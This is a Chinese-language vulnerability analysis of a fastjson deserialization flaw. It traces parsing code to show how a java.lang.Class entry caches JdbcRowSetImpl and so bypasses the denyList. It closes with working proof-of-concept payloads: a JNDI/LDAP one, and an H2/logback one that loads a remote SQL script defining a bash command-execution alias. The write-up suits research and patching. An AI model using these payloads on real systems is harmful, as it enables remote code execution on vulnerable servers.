Fastjson 新反序列化漏洞解析

漏洞分析 fastjson

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 2019/08/06

首先奉上廖大大的fastjson经典流程图

JSON 入口，提供将json串转换为java对象的静态方法。这些方法的实现，实际托付给了DefaultJSONParser类
DefaultJSONParser 功能组合器，它将上层调用、反序列化配置、反序列化实现、词法解析等功能组合在一起，相当于设计模式中的外观模式，供外部统一调用
ParserConfig 全局唯一的解析配置
JSONLexer 专门用于解析 JSON 字符串，主要JSONScanner和JSONLexerBase，前者是对整个字符串的反序列化，后者是接Reader直接序列化
SymbolTable 因为 json 特殊性，对关键 key 的缓存
ObjectDeserializer 反序列化接口

解析流程梳理

Demo基于 fastjson 1.2.36 & jdk 1.8.0_151

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class test {
    public static void main(String[] args) throws IOException {
        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";
        Object obj = JSON.parse(payload);
    }
}

DefaultJSONParser 初始化

首先直接跟入 parse 函数，可以看到默认使用 default_parser_feature，这个值 989，用于直接与 feature 与运算来实现功能开关

跟着就可以看到DefaultJSONParser初始化，其中第二个参数即是全局配置实例

简单跟入看一下配置信息，可以直观看到很多有用的内容

回到初始化，紧接着就是调用 scanner 对 json 内容进行解析，实际上是将bp指针停在0位，同时ch对应第一个字符，并通过鉴别ch值赋予token对应常量，这个常量在后面会用到

parse 解析

在DefaultJSONParser初始化完毕后，紧接着调用parse()，此函数会根据 token 值来实现不同内容的解析，在这里会进入 JSONObject 函数，其参数是通过将 lexer.features以及 Feature.OrderedField.mask 进行位运算来判断是否支持相关功能，进而生成 LinkedHashMap 或者 HashMap

初始化后完毕后，再通过 parseObject 来实现真正的内容解析

parseObject

parseObject 通过从左到右，进行嵌套解析

首先调用scanSymbol对key进行扫描

com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol(com.alibaba.fastjson.parser.SymbolTable, char)

简单解析，np记录key前"所在位，sp 记录有效字符长度，然后拷贝进symbolTable中，同时记录的还有对应的 hash 值，计算方式如下

hash = 31 * hash + chLocal;

若遇到\\开头的key，则向之后内容存到 sbuf 中，并通过控制sp长度将解析出的key放入到symbolTable中，但注意此时没有对应的hash值（这里复用 sbuf 减少开支，对 sbuf 长度控制还有简单的处理可以自己看下源码）

之后对 key 值进行判断是否为特殊 key

通过标志判断是否需要解析填充对应 context

之后是类似 key 判断的逻辑代码，只不过是这次是用来判断 value，在没有设置 fieldTypeResolver 的情况下，会调用 parseObject 进行嵌套解析

循环嵌套分析大致就是以上的逻辑

当判断 key 为 @type 之后会进入相关逻辑代码

可见关键的checkAutoType，在这里因为java.lang.Class不在黑名单中，所以允许在 map 中搜寻并返回相关类
可见 autoType 是否开启都不会影响到通过 map 搜寻(下图前两个红框)，所以造成通杀

之后，进入到反序列化clazz过程

函数目的如其命名：通过 type 来获取反序列化操作函数，通过判断是否为空、任意类或参数化类(泛型)，并返回对应的类

跟着看下 get 函数的内容，可以看到通过计算类名对应 hash 值，在 buckets 中寻找对应实例

那么 buckets 里面的内容是怎么来的呢？其实是在DefaultJSONParser初始化阶段生成全局 ParserConfig 时候填充的

现在有了反序列化目标实例后，回到 @type 逻辑中，执行反序列化

在对 @type 反序列化中，通过 accept 判断下一位是否为合法的"，并将 token 设置为"后的首字符对
应值(常见操作，不再提及)

接着会判断对应 value 的 key 是否为val，在通过判断期望:后，解析出后面双引号中间的字符串值，再判断是否使用}进行了闭合

所以通过上面一段就先解释了这段代码的处理逻辑

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

当获取到 val 后通过通过判断 val 类型进行简单操作

之后就是对 clazz 即 @type 值判断，选择对应的处理方式，对于java.lang.Class尝试读取目标类

TypeUtils#mappings 中存储着特征值以及对应的基本类，在无法查询目标类的情况下会调用launcher主线程直接加载目标类并返回，同时会将特征值(类名)以及对应类推进 mappings 中，方便后续调用

后面将其加入到 object 中，以及更新 context，再继续进行后面的解析

Bypass denyList

结合上面checkAutoType逻辑，这次将com.sun.rowset.JdbcRowSetImpl推入了 Mapping，下一次程序能搜索 map 中有对应类，导致绕过了 denyList 检测

createJavaBeanDeserializer

当类似前面解析的逻辑，当进入到到反序列化阶段，需要获取目标类，程序会在ParserConfig中判断是否为一些常见类
在没有任何匹配的情况下，会调用createJavaBeanDeserializer生成一个新的deserializer

该函数下，通过判断 clazz是否具有泛型参数、外部类型、接口、内部类，并生成 beanInfo 用于各种逻辑判断变量信息
最后达到最重要的以下两句代码，通过 beanInfo 进入 asm 工厂生成deserializer

asmFactory 动态生成

可以见到中间部分代码，用来生成构造、实例生成、反序列化、数组值反序列化函数
由于是 asm 动态生成的类的字节码，无法直接查看，这里通过写到本地磁盘进行查看

代码过长，截取一部分，关注继承自JavaBeanDeserializer和最下面的三个公共函数(还有一个deserialzeArrayMapping因为代码太长就没放上来)

回到上面 asm 生成类中创建实例时 JavaBeanDeserializer 初始化起到的作用，根据下面代码可以看到主要就是将 beanInfo 中的变量通过 createFieldDeserializer 转换，并将各个变量支持的不同字段名放入alterNameFieldDeserializers中并存到sortedFieldDeserializers中

可以看到两个关键的参数

Deserialze 反序列化

经过上面的过程获取到了目标类以及相应的deserialzer，就可以真正执行反序列化了

因为导出的class文件通过反编译里面的内容。。。。反正我是看不懂，直接越过看最后的调用

debug 下可以看到传入的类型以及各个参数值

紧接着跟入到JavaBeanDeserializer#deserialze，首先还是后续内容格式进行判断，如果跟着是,则进入以下代码，这里提取每一个sorted的字段序列化对象、字段名、字段对应类
如果字段不为空，则继续提取对应将要搜寻的字符串(name_chars)

接下来就是对 fieldClass 的分类处理，对 autoCommit 而言，即为进入以下代码片段，内容很好理解，后面就是值匹配的一系列操作，就不展开了

关键点

在检测到 @type 为 java.lang.Class 后，会调用com.alibaba.fastjson.serializer.MiscCodec进行反序列化。先解析出val对应的字符串值，之后调用com.alibaba.fastjson.util.TypeUtils#loadClass()来读取目标类，如果不存在于 mappings 中就会推进去以备后(第二轮)用。这里 com.sun.rowset.JdbcRowSetImpl 就被推进了 map 中
第二轮检测 @type 为 com.sun.rowset.JdbcRowSetImpl 时，在checkAutoType()中，由于map 优先级高于denyList，且可以在 map 中搜索到相关类，导致绕过了黑名单检测，最终实现目标类实例化
早期版本中，TypeUtils.java#loadClass 读到的类会直接推进 map；而在接近版本 1.2.47(具体哪个版本开始的没注意)，loadClass 会通过新增的boolean参数 cache 选择是否将读到的 class 推进 map

POC

1

广泛公开流传的，与 autoType 无关，可通杀 version < 1.2.48

{
    "name":
    {
        "@type": "java.lang.Class",
        "val": "com.sun.rowset.JdbcRowSetImpl"
    },
    "x":
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "ldap://localhost:10999/Exploit",
        "autoCommit": true
    }
}

2

原文章，需要 autoType 开启，version <= 1.2.58，以及下面列出的 jar 包支持

h2 database and some jar
.
├── fastjson-1.2.58.jar
├── h2-1.4.199.jar
├── jackson-annotations-2.9.8.jar
├── jackson-core-2.9.8.jar
├── jackson-databind-2.9.8.jar
└── logback-core-1.3.0-alpha4.jar

Poc

{
    "@type": "ch.qos.logback.core.db.DriverManagerConnectionSource",
    "url": "jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'"
}

# inject.sql
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
    String[] command = {"bash", "-c", cmd};
    java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
    return s.hasNext() ? s.next() : "";  }
$$;
CALL SHELLEXEC('calc') # 直接改这里